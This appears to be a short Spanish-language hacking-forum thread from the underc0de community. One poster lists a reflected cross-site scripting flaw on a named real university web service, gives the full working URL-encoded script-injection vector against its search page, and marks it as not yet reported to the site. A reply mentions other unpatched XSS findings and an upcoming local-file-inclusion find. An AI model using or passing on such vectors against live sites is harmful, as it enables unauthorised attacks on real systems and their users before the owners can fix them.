Ya que todos estan reportando para el team underc0de espero ayudar :P je
(http://i.imgur.com/skQIuWl.png)
XSS
web: http://student.mit.edu
vector: http://student.mit.edu/catalog/search.cgi?search=%22%3E%3Cscript%3Ealert%281%29%3C%2fscript%3E
reportado: No
espero lo reporte antrax para el team salu2
Buena! , espero que a ti te hagan caso , ya he reportado 3 xss y 2 disclosures y ni parchean y ni contestan.
El lfi creo esta en camino